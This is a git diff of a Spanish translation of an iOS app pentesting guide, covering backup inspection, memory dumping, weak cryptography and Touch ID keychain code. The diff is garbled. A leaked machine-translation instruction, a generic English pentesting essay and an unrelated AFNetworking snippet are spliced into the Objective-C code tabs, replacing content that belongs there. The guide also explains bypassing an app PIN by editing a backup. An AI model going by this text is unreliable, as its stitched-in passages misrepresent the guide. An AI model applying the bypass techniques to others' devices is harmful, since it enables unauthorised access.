[CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir archivos y directorios de las copias de seguridad. +Aunque todos los archivos en `Documents/` y `Library/Application Support/` siempre se respaldan de forma predeterminada, puedes [excluir archivos de la copia de seguridad](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28) llamando a `NSURL setResourceValue:forKey:error:` con la clave `NSURLIsExcludedFromBackupKey`.\ +Puedes utilizar las propiedades del sistema de archivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey) y [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir archivos y directorios de las copias de seguridad. {% hint style="warning" %} -Por lo tanto, al verificar la copia de seguridad de una aplicación, debe verificar si **se puede acceder a alguna información sensible** y si puede **modificar algún comportamiento sensible** de la aplicación mediante **la modificación de alguna configuración de la copia de seguridad** y la restauración de la copia de seguridad. +Por lo tanto, al verificar la copia de seguridad de una aplicación, debes verificar si **se puede acceder a alguna información sensible** y si puedes **modificar algún comportamiento sensible** de la aplicación mediante **la modificación de alguna configuración de la copia de seguridad** y la restauración de la copia de seguridad. {% endhint %} **Cómo probar** -Comience por **crear una copia de seguridad del dispositivo** (puede hacerlo usando Finder) y encontrar dónde se almacena la copia de seguridad. La documentación oficial de Apple lo ayudará a [ubicar las copias de seguridad de su iPhone, iPad y iPod touch](https://support.apple.com/en-us/HT204215). +Comienza por **crear una copia de seguridad del dispositivo** (puedes hacerlo utilizando Finder) y encontrar dónde se almacena la copia de seguridad. La documentación oficial de Apple te ayudará a [localizar las copias de seguridad de tu iPhone, iPad y iPod touch](https://support.apple.com/es-es/HT204215). -Una vez que haya encontrado la copia de seguridad del dispositivo (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`), puede comenzar a buscar información sensible utilizando grep, por ejemplo, o utilizando herramientas como [iMazing](https://imazing.com)). +Una vez que hayas encontrado la copia de seguridad del dispositivo (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`), puedes comenzar a buscar información sensible utilizando, por ejemplo, el comando grep o herramientas como [iMazing](https://imazing.com). -Para identificar si una copia de seguridad está cifrada, puede verificar la clave llamada "IsEncrypted" del archivo "Manifest.plist", ubicado en la raíz del directorio de copia de seguridad. El siguiente ejemplo muestra una configuración que indica que la copia de seguridad está cifrada: +Para identificar si una copia de seguridad está encriptada, puedes verificar la clave llamada "IsEncrypted" en el archivo "Manifest.plist", ubicado en la raíz del directorio de la copia de seguridad. El siguiente ejemplo muestra una configuración que indica que la copia de seguridad está encriptada: ```markup ... - Date - 2021-03-12T17:43:33Z - IsEncrypted - +Date +2021-03-12T17:43:33Z +IsEncrypted + ... ``` -En caso de que necesite trabajar con una copia de seguridad cifrada, hay algunos scripts de Python en el repositorio de GitHub de [DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, que servirán como un buen punto de partida. Sin embargo, tenga en cuenta que es posible que no funcionen con las últimas versiones de iTunes/Finder y que deban ajustarse. +En caso de que necesites trabajar con una copia de seguridad encriptada, hay algunos scripts en Python en el repositorio de GitHub de DinoSec, como **backup_tool.py** y **backup_passwd.py**, que servirán como un buen punto de partida. Sin embargo, ten en cuenta que es posible que no funcionen con las últimas versiones de iTunes/Finder y es posible que necesiten ajustes. -También puede utilizar la herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) para leer y extraer fácilmente archivos de una copia de seguridad de iOS cifrada con contraseña. +También puedes utilizar la herramienta **iOSbackup** para leer y extraer fácilmente archivos de una copia de seguridad de iOS protegida con contraseña. **Cómo modificar el comportamiento** -En la aplicación de billetera de Bitcoin de código abierto, [Bither](https://github.com/bither/bither-ios), verá que es posible configurar un PIN para bloquear la interfaz de usuario. Este PIN se almacena en el archivo `net.bither.plist` dentro de la **clave** **pin_code**. Si borra esta clave de ese plist en la copia de seguridad y restaura la copia de seguridad, podrá acceder a la billetera. +En la aplicación de billetera de Bitcoin de código abierto, Bither, verás que es posible configurar un PIN para bloquear la interfaz de usuario. Este PIN se almacena en el archivo `net.bither.plist` dentro de la **clave** **pin_code**. Si borras esta clave de ese plist en la copia de seguridad y restauras la copia de seguridad, podrás acceder a la billetera. ## Pruebas de memoria para datos sensibles -En algún momento, la información confidencial se almacenará en la memoria. El objetivo es asegurarse de que esta información se exponga el menor tiempo posible. +En algún momento, la información sensible se almacenará en la memoria. El objetivo es asegurarse de que esta información se exponga el menor tiempo posible. -Para investigar la memoria de una aplicación, primero cree un **volcado de memoria**. Alternativamente, puede **analizar la memoria en tiempo real** con, por ejemplo, un depurador. Independientemente del método que utilice, este es un proceso propenso a errores porque los volcados proporcionan los datos dejados por las funciones ejecutadas y es posible que se pierdan pasos críticos. Además, pasar por alto datos durante el análisis es bastante fácil de hacer a menos que conozca la huella de los datos que está buscando (ya sea su valor exacto o su formato). Por ejemplo, si la aplicación cifra según una clave simétrica generada aleatoriamente, es muy poco probable que detecte la clave en la memoria a menos que encuentre su valor por otros medios. +Para investigar la memoria de una aplicación, primero crea un **volcado de memoria**. Alternativamente, puedes **analizar la memoria en tiempo real** con, por ejemplo, un depurador. Independientemente del método que utilices, este proceso es propenso a errores porque los volcados proporcionan los datos dejados por las funciones ejecutadas y es posible que te saltes pasos críticos. Además, es bastante fácil pasar por alto datos durante el análisis a menos que conozcas la huella de los datos que estás buscando (ya sea su valor exacto o su formato). Por ejemplo, si la aplicación cifra según una clave simétrica generada aleatoriamente, es muy improbable que encuentres la clave en la memoria a menos que encuentres su valor de otras formas. **Recuperación y análisis de un volcado de memoria** -Ya sea que esté utilizando un dispositivo con jailbreak o sin jailbreak, puede volcar la memoria del proceso de la aplicación con [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump). +Ya sea que estés utilizando un dispositivo con jailbreak o sin jailbreak, puedes volcar la memoria del proceso de la aplicación con [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump). -Después de que se haya volcado la memoria (por ejemplo, en un archivo llamado "memory"), dependiendo de la naturaleza de los datos que está buscando, necesitará un conjunto de herramientas diferentes para procesar y analizar ese volcado de memoria. Por ejemplo, si se centra en cadenas, puede ser suficiente para usted ejecutar el comando `strings` o `rabin2 -zz` para extraer esas cadenas. +Después de que se haya volcado la memoria (por ejemplo, en un archivo llamado "memory"), dependiendo de la naturaleza de los datos que estás buscando, necesitarás un conjunto de herramientas diferentes para procesar y analizar ese volcado de memoria. Por ejemplo, si te estás enfocando en cadenas de texto, puede ser suficiente ejecutar el comando `strings` o `rabin2 -zz` para extraer esas cadenas. ```bash # using strings $ strings memory > strings.txt @@ -763,7 +782,7 @@ $ strings memory > strings.txt # using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Abre `strings.txt` en tu editor favorito y busca información sensible. +Abre `strings.txt` en tu editor favorito y examínalo para identificar información sensible. Sin embargo, si deseas inspeccionar otro tipo de datos, es mejor que uses radare2 y sus capacidades de búsqueda. Consulta la ayuda de radare2 sobre el comando de búsqueda (`/?`) para obtener más información y una lista de opciones. Lo siguiente muestra solo un subconjunto de ellas: ```bash @@ -785,61 +804,61 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) ``` **Análisis de la memoria en tiempo de ejecución** -Usando [**r2frida**](https://github.com/nowsecure/r2frida) puedes analizar e inspeccionar la memoria de la aplicación mientras se ejecuta sin necesidad de volcarla. Por ejemplo, puedes ejecutar los comandos de búsqueda anteriores desde r2frida y buscar en la memoria una cadena, valores hexadecimales, etc. Al hacerlo, recuerda agregar una barra diagonal invertida `\` antes del comando de búsqueda (y cualquier otro comando específico de r2frida) después de iniciar la sesión con `r2 frida://usb//`. +Usando [**r2frida**](https://github.com/nowsecure/r2frida), puedes analizar e inspeccionar la memoria de la aplicación mientras se ejecuta sin necesidad de volcarla. Por ejemplo, puedes ejecutar los comandos de búsqueda anteriores desde r2frida y buscar en la memoria una cadena, valores hexadecimales, etc. Al hacerlo, recuerda agregar una barra invertida `\` antes del comando de búsqueda (y cualquier otro comando específico de r2frida) después de iniciar la sesión con `r2 frida://usb//`. -## Criptografía rota +## Criptografía defectuosa -### Malos procesos de gestión de claves +### Procesos de gestión de claves deficientes -Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predeterminada en el código. Esto no debería hacerse ya que algunos procesos de reversión podrían permitir a los atacantes extraer la información confidencial. +Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predeterminada en el código. Esto no debería hacerse, ya que un proceso de reversión podría permitir a los atacantes extraer la información confidencial. ### Uso de algoritmos inseguros y/o obsoletos -Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar **comprobaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas, por ejemplo, se deben usar hashes resistentes a la fuerza bruta con sal. +Los desarrolladores no deberían utilizar **algoritmos obsoletos** para realizar **verificaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal. -### Comprobación +### Verificación -Las principales comprobaciones a realizar son encontrar si se pueden encontrar contraseñas/secretos **codificados** en el código, o si estos son **predecibles**, y si el código está utilizando algún tipo de algoritmos de **criptografía** **débiles**. +Las principales verificaciones a realizar son buscar contraseñas/secretos **codificados en el código**, o si estos son **predecibles**, y si el código está utilizando algún tipo de algoritmo de **criptografía débil**. -Es interesante saber que puedes **monitorizar** algunas **bibliotecas** de **criptografía** automáticamente usando **objection** con: +Es interesante saber que puedes **monitorizar** automáticamente algunas **bibliotecas de criptografía** utilizando **objection** con: ```swift ios monitor crypt ``` -Para **más información** sobre las APIs y bibliotecas criptográficas de iOS, acceda a [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) +Para obtener **más información** sobre las API y bibliotecas criptográficas de iOS, acceda a [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) -## Autenticación Local +## Autenticación local -El probador debe ser consciente de que **la autenticación local siempre debe ser obligatoria en un punto final remoto** o basada en un primitivo criptográfico. Los atacantes pueden evitar fácilmente la autenticación local si no se devuelve ningún dato del proceso de autenticación. +El probador debe tener en cuenta que **siempre se debe aplicar la autenticación local en un punto final remoto** o basada en una primitiva criptográfica. Los atacantes pueden evadir fácilmente la autenticación local si no se devuelve ningún dato del proceso de autenticación. -El [**marco de autenticación local**](https://developer.apple.com/documentation/localauthentication) \_\*\*\_proporciona un conjunto de APIs para que los desarrolladores extiendan un diálogo de autenticación a un usuario. En el contexto de la conexión a un servicio remoto, es posible (y recomendado) aprovechar el [llavero](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) para implementar la autenticación local. +El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) proporciona un conjunto de API para que los desarrolladores extiendan un diálogo de autenticación a un usuario. En el contexto de la conexión a un servicio remoto, es posible (y recomendado) aprovechar el [llavero](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) para implementar la autenticación local. -El sensor de **identificación de huellas dactilares** es operado por el [coprocesador de seguridad SecureEnclave](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) y no expone los datos de huellas dactilares a ninguna otra parte del sistema. Junto con Touch ID, Apple introdujo _Face ID_: que permite la autenticación basada en el reconocimiento facial. +El sensor de **identificación de huellas dactilares** es operado por el [coprocesador de seguridad SecureEnclave](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) y no expone los datos de huellas dactilares a ninguna otra parte del sistema. Además de Touch ID, Apple introdujo _Face ID_: que permite la autenticación basada en el reconocimiento facial. Los desarrolladores tienen dos opciones para incorporar la autenticación Touch ID/Face ID: -* `LocalAuthentication.framework` es una API de alto nivel que se puede utilizar para **autenticar al usuario a través de Touch ID**. La aplicación no puede acceder a ningún dato asociado con la huella dactilar inscrita y solo se le notifica si la autenticación fue exitosa. -* `Security.framework` es una API de nivel inferior para acceder a los [servicios del llavero](https://developer.apple.com/documentation/security/keychain\_services). Esta es una opción segura si su aplicación necesita **proteger algunos datos secretos con autenticación biométrica**, ya que el control de acceso se gestiona a nivel del sistema y no se puede evitar fácilmente. `Security.framework` tiene una API de C, pero hay varios [envoltorios de código abierto disponibles](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), lo que hace que el acceso al llavero sea tan simple como a NSUserDefaults. +* `LocalAuthentication.framework` es una API de alto nivel que se puede utilizar para **autenticar al usuario a través de Touch ID**. La aplicación no puede acceder a ningún dato asociado con la huella digital registrada y solo se le notifica si la autenticación fue exitosa. +* `Security.framework` es una API de nivel inferior para acceder a los [servicios del llavero](https://developer.apple.com/documentation/security/keychain\_services). Esta es una opción segura si su aplicación necesita **proteger algunos datos secretos con autenticación biométrica**, ya que el control de acceso se gestiona a nivel del sistema y no se puede evadir fácilmente. `Security.framework` tiene una API en C, pero hay varios [envoltorios de código abierto disponibles](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), lo que facilita el acceso al llavero de la misma manera que a NSUserDefaults. {% hint style="danger" %} -Tenga en cuenta que el uso de `LocalAuthentication.framework` o `Security.framework` será un control que puede ser evitado por un atacante, ya que solo devuelve un booleano y no hay datos para continuar. Consulte [Don't touch me that way, de David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para obtener más detalles. +Tenga en cuenta que el uso de `LocalAuthentication.framework` o `Security.framework` puede ser eludido por un atacante, ya que solo devuelve un valor booleano y no datos para continuar. Consulte [Don't touch me that way, de David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para obtener más detalles. {% endhint %} -### Marco de Autenticación Local +### Framework de Autenticación Local -Los desarrolladores pueden mostrar un **cuadro de diálogo de autenticación** utilizando la función **`evaluatePolicy`** de la clase **`LAContext`**. Dos políticas disponibles definen formas aceptables de autenticación: +Los desarrolladores pueden mostrar un **cuadro de diálogo de autenticación** utilizando la función **`evaluatePolicy`** de la clase **`LAContext`**. Dos políticas disponibles definen las formas aceptables de autenticación: -* `deviceOwnerAuthentication`(Swift) o `LAPolicyDeviceOwnerAuthentication`(Objective-C): Cuando está disponible, se le solicita al usuario que realice la autenticación de Touch ID. Si Touch ID no está activado, se solicita el código de acceso del dispositivo. Si el código de acceso del dispositivo no está habilitado, la evaluación de la política falla. -* `deviceOwnerAuthenticationWithBiometrics` (Swift) o `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): La autenticación se restringe a la biometría donde se le solicita al usuario que utilice Touch ID. +* `deviceOwnerAuthentication`(Swift) o `LAPolicyDeviceOwnerAuthentication`(Objective-C): Cuando está disponible, se le solicita al usuario que realice la autenticación de Touch ID. Si Touch ID no está activado, se solicita el código de acceso del dispositivo en su lugar. Si el código de acceso del dispositivo no está habilitado, la evaluación de la política falla. +* `deviceOwnerAuthenticationWithBiometrics` (Swift) o `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): La autenticación se limita a la biometría, donde se le solicita al usuario que utilice Touch ID. -La **función `evaluatePolicy` devuelve un valor booleano** que indica si el usuario se ha autenticado correctamente. Lo que significa que puede ser fácilmente evitado (ver abajo) +La función **`evaluatePolicy` devuelve un valor booleano** que indica si el usuario se ha autenticado correctamente. Lo que significa que puede ser fácilmente eludido (ver a continuación) ### Autenticación Local utilizando el Llavero -Las **APIs del llavero de iOS pueden (y deben) ser utilizadas para implementar la autenticación local**. Durante este proceso, la aplicación almacena un token de autenticación secreto u otro dato secreto que identifica al usuario en el llavero. Para autenticarse en un servicio remoto, el usuario debe desbloquear el llavero utilizando su contraseña o huella dactilar para obtener los datos secretos. +Las **API del llavero de iOS se pueden (y deben) utilizar para implementar la autenticación local**. Durante este proceso, la aplicación almacena un token de autenticación secreto u otro dato secreto que identifica al usuario en el llavero. Para autenticarse en un servicio remoto, el usuario debe desbloquear el llavero utilizando su contraseña o huella digital para obtener los datos secretos. -El llavero permite guardar elementos con el atributo especial `SecAccessControl`, que permitirá el acceso al elemento desde el llavero solo después de que el usuario haya pasado la autenticación de Touch ID (o el código de acceso, si se permite una alternativa por los parámetros de atributo). +El llavero permite guardar elementos con el atributo especial `SecAccessControl`, que permitirá el acceso al elemento solo desde el llavero después de que el usuario haya pasado la autenticación de Touch ID (o el código de acceso, si los parámetros del atributo lo permiten). -En el siguiente ejemplo, guardaremos la cadena "test\_strong\_password" en el llavero. La cadena solo se puede acceder en el dispositivo actual mientras se establezca el código de acceso (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parámetro) y después de la autenticación de Touch ID para los dedos inscritos actualmente (`SecAccessControlCreateFlags.biometryCurrentSet` parámetro): +En el siguiente ejemplo, guardaremos la cadena "test\_strong\_password" en el llavero. La cadena solo se puede acceder en el dispositivo actual mientras el código de acceso esté configurado (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parámetro) y después de la autenticación de Touch ID solo para los dedos actualmente registrados (`SecAccessControlCreateFlags.biometryCurrentSet` parámetro): {% tabs %} {% tab title="Swift" %} @@ -849,12 +868,12 @@ En el siguiente ejemplo, guardaremos la cadena "test\_strong\_password" en el ll var error: Unmanaged? guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault, - kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, - SecAccessControlCreateFlags.biometryCurrentSet, - &error) else { - // failed to create AccessControl object +kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, +SecAccessControlCreateFlags.biometryCurrentSet, +&error) else { +// failed to create AccessControl object - return +return } // 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute @@ -872,189 +891,50 @@ query[kSecAttrAccessControl as String] = accessControl let status = SecItemAdd(query as CFDictionary, nil) if status == noErr { - // successfully saved +// successfully saved } else { - // error while saving +// error while saving +} +``` +{% tab title="Objective-C" %} + +El siguiente es un contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo mobile-pentesting/ios-pentesting/README.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada adicional aparte de la traducción y la sintaxis de markdown. + +{% endtab %} +```objectivec +// 1. create AccessControl object that will represent authentication settings +CFErrorRef *err = nil; + +SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault, +kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, +kSecAccessControlUserPresence, +err); + +// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute +NSDictionary* query = @{ +(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, +(__bridge id)kSecAttrLabel: @"com.me.myapp.password", +(__bridge id)kSecAttrAccount: @"OWASP Account", +(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding], +(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef +}; + +// 3. save item +OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil); + +if (status == noErr) { +// successfully saved +} else { +// error while saving } ``` {% endtab %} +{% endtabs %} -{% tab title="Objective-C" %} +Ahora podemos solicitar el elemento guardado del llavero. Los servicios del llavero presentarán el diálogo de autenticación al usuario y devolverán los datos o nil dependiendo de si se proporcionó una huella digital adecuada o no. -# Pentesting iOS Apps - -## Introduction - -This document describes the techniques used to pentest iOS apps. It covers the following topics: - -- Setting up a pentesting environment for iOS apps -- Reverse engineering iOS apps -- Analyzing network traffic -- Analyzing file system -- Analyzing keychain -- Analyzing SQLite databases -- Analyzing binaries -- Bypassing jailbreak detection -- Bypassing SSL pinning -- Bypassing Touch ID and Face ID -- Exploiting vulnerabilities - -## Setting up a Pentesting Environment for iOS Apps - -To pentest iOS apps, you need a jailbroken iOS device or a non-jailbroken device with a developer certificate. You also need a Mac with Xcode and other tools installed. - -### Jailbreaking an iOS Device - -Jailbreaking an iOS device allows you to install apps and tweaks that are not available on the App Store. It also allows you to access the file system and perform other actions that are not possible on a non-jailbroken device. - -There are several tools available to jailbreak an iOS device. Some of the popular ones are: - -- [unc0ver](https://unc0ver.dev/) -- [checkra1n](https://checkra.in/) -- [Electra](https://coolstar.org/electra/) -- [Chimera](https://chimera.sh/) - -### Setting up a Non-Jailbroken Device with a Developer Certificate - -If you don't want to jailbreak your device, you can set up a non-jailbroken device with a developer certificate. This allows you to install apps on your device without going through the App Store. - -To set up a non-jailbroken device with a developer certificate, you need to: - -1. Create an Apple Developer account -2. Create a new App ID -3. Create a new provisioning profile -4. Install the provisioning profile on your device -5. Sign the app with the provisioning profile -6. Install the app on your device - -### Installing Xcode and Other Tools - -To pentest iOS apps, you need to install Xcode and other tools on your Mac. Xcode is available on the App Store. Other tools can be installed using [Homebrew](https://brew.sh/). - -To install Xcode using Homebrew, run the following command: - -```bash -brew install --cask xcode -``` - -To install other tools using Homebrew, run the following command: - -```bash -brew install [tool-name] -``` - -## Reverse Engineering iOS Apps - -Reverse engineering iOS apps allows you to understand how they work and identify vulnerabilities. There are several tools available to reverse engineer iOS apps. Some of the popular ones are: - -- [Hopper Disassembler](https://www.hopperapp.com/) -- [IDA Pro](https://www.hex-rays.com/products/ida/) -- [Ghidra](https://ghidra-sre.org/) - -## Analyzing Network Traffic - -Analyzing network traffic allows you to identify how an app communicates with its server and identify vulnerabilities. There are several tools available to analyze network traffic. Some of the popular ones are: - -- [Wireshark](https://www.wireshark.org/) -- [Charles Proxy](https://www.charlesproxy.com/) -- [mitmproxy](https://mitmproxy.org/) - -## Analyzing File System - -Analyzing the file system allows you to identify sensitive information stored on the device and identify vulnerabilities. There are several tools available to analyze the file system. Some of the popular ones are: - -- [iExplorer](https://macroplant.com/iexplorer) -- [iFunBox](https://www.i-funbox.com/) -- [iFile](https://cydia.saurik.com/package/eu.heinelt.ifile/) - -## Analyzing Keychain - -Analyzing the keychain allows you to identify sensitive information stored on the device and identify vulnerabilities. There are several tools available to analyze the keychain. Some of the popular ones are: - -- [Keychain Dumper](https://github.com/ptoomey3/Keychain-Dumper) -- [Keychain Viewer](https://github.com/Polidea/KeychainViewer) - -## Analyzing SQLite Databases - -Analyzing SQLite databases allows you to identify sensitive information stored on the device and identify vulnerabilities. There are several tools available to analyze SQLite databases. Some of the popular ones are: - -- [SQLite Manager](https://github.com/sqlitebrowser/sqlitebrowser) -- [DB Browser for SQLite](https://sqlitebrowser.org/) - -## Analyzing Binaries - -Analyzing binaries allows you to identify vulnerabilities in the app's code. There are several tools available to analyze binaries. Some of the popular ones are: - -- [Hopper Disassembler](https://www.hopperapp.com/) -- [IDA Pro](https://www.hex-rays.com/products/ida/) -- [Ghidra](https://ghidra-sre.org/) - -## Bypassing Jailbreak Detection - -Some apps detect if the device is jailbroken and refuse to run. To bypass jailbreak detection, you can use tools like: - -- [Liberty Lite](https://ryleyangus.com/repo/) -- [Shadow](https://ios.jjolano.me/) -- [Unsub](https://nepeta.github.io/) - -## Bypassing SSL Pinning - -Some apps use SSL pinning to prevent man-in-the-middle attacks. To bypass SSL pinning, you can use tools like: - -- [SSL Kill Switch 2](https://github.com/nabla-c0d3/ssl-kill-switch2) -- [Frida](https://frida.re/) -- [objection](https://github.com/sensepost/objection) - -## Bypassing Touch ID and Face ID - -Some apps use Touch ID or Face ID to authenticate the user. To bypass Touch ID and Face ID, you can use tools like: - -- [Frida](https://frida.re/) -- [objection](https://github.com/sensepost/objection) - -## Exploiting Vulnerabilities - -Exploiting vulnerabilities allows you to gain access to sensitive information or perform actions that are not authorized. There are several techniques to exploit vulnerabilities. Some of the popular ones are: - -- Buffer overflow -- SQL injection -- Cross-site scripting (XSS) -- Cross-site request forgery (CSRF) -- Man-in-the-middle (MITM) attack - -## Conclusion - -Pentesting iOS apps requires a combination of technical skills and tools. By following the techniques described in this document, you can identify vulnerabilities and exploit them to gain access to sensitive information or perform unauthorized actions. -```objectivec - // 1. create AccessControl object that will represent authentication settings - CFErrorRef *err = nil; - - SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault, - kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, - kSecAccessControlUserPresence, - err); - - // 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute - NSDictionary* query = @{ - (_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, - (__bridge id)kSecAttrLabel: @"com.me.myapp.password", - (__bridge id)kSecAttrAccount: @"OWASP Account", - (__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding], - (__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef - }; - - // 3. save item - OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil); - - if (status == noErr) { - // successfully saved - } else { - // error while saving - } -``` -{% endtab %} -{% tab title="Spanish" %} -Ahora podemos solicitar el elemento guardado del llavero. Los servicios del llavero presentarán el cuadro de diálogo de autenticación al usuario y devolverán datos o nulos dependiendo de si se proporcionó o no una huella digital adecuada. +{% tabs %} +{% tab title="Swift" %} ```swift // 1. define query var query = [String: Any]() @@ -1067,53 +947,58 @@ query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter t // 2. get item var queryResult: AnyObject? let status = withUnsafeMutablePointer(to: &queryResult) { - SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0)) +SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0)) } if status == noErr { - let password = String(data: queryResult as! Data, encoding: .utf8)! - // successfully received password +let password = String(data: queryResult as! Data, encoding: .utf8)! +// successfully received password } else { - // authorization not passed +// authorization not passed } ``` -{% endtab %} - {% tab title="Objective-C" %} -# Introducción +El siguiente es un ejemplo de código Objective-C para realizar una solicitud HTTP utilizando la biblioteca AFNetworking: -Este documento describe cómo realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C. Se asume que el lector tiene conocimientos básicos de Objective-C y iOS. +```objective-c +#import -# Configuración del entorno +- (void)makeHTTPRequest { + AFHTTPSessionManager *manager = [AFHTTPSessionManager manager]; + [manager GET:@"https://api.example.com/data" parameters:nil progress:nil success:^(NSURLSessionTask *task, id responseObject) { + NSLog(@"Response: %@", responseObject); + } failure:^(NSURLSessionTask *operation, NSError *error) { + NSLog(@"Error: %@", error); + }]; +} +``` -Para realizar pruebas de penetración en aplicaciones iOS, necesitará un dispositivo iOS con jailbreak o un simulador de iOS. También necesitará un entorno de desarrollo de iOS, como Xcode, y un conjunto de herramientas de prueba de penetración, como Frida, Cycript y Objection. +Este código utiliza AFNetworking para realizar una solicitud GET a la URL "https://api.example.com/data". El resultado de la solicitud se imprime en la consola. -# Pruebas de penetración +Para utilizar AFNetworking en su proyecto Objective-C, debe agregar la biblioteca a su proyecto y asegurarse de importarla en su archivo de implementación. -Las pruebas de penetración en aplicaciones iOS escritas en Objective-C pueden incluir la identificación de vulnerabilidades de seguridad, como la inyección de código, la inyección de SQL, la inyección de JavaScript y la inyección de HTML. También puede realizar pruebas de penetración en la autenticación, la autorización, la criptografía y la gestión de sesiones. +Puede encontrar más información sobre AFNetworking en su [página de GitHub](https://github.com/AFNetworking/AFNetworking). -# Conclusión - -Las pruebas de penetración en aplicaciones iOS escritas en Objective-C son esenciales para garantizar la seguridad de las aplicaciones móviles. Al seguir los pasos descritos en este documento, puede identificar y corregir vulnerabilidades de seguridad en sus aplicaciones iOS. +{% endtab %} ```objectivec // 1. define query NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, - (__bridge id)kSecReturnData: @YES, - (__bridge id)kSecAttrAccount: @"My Name1", - (__bridge id)kSecAttrLabel: @"com.me.myapp.password", - (__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" }; +(__bridge id)kSecReturnData: @YES, +(__bridge id)kSecAttrAccount: @"My Name1", +(__bridge id)kSecAttrLabel: @"com.me.myapp.password", +(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" }; // 2. get item CFTypeRef queryResult = NULL; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult); if (status == noErr){ - NSData* resultData = ( __bridge_transfer NSData* )queryResult; - NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding]; - NSLog(@"%@", password); +NSData* resultData = ( __bridge_transfer NSData* )queryResult; +NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding]; +NSLog(@"%@", password); } else { - NSLog(@"Something went wrong"); +NSLog(@"Something went wrong"); } ``` {% endtab %} @@ -1125,7 +1010,7 @@ El uso de frameworks en una aplicación también puede ser detectado mediante el ```bash $ otool -L .app/ ``` -Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas líneas 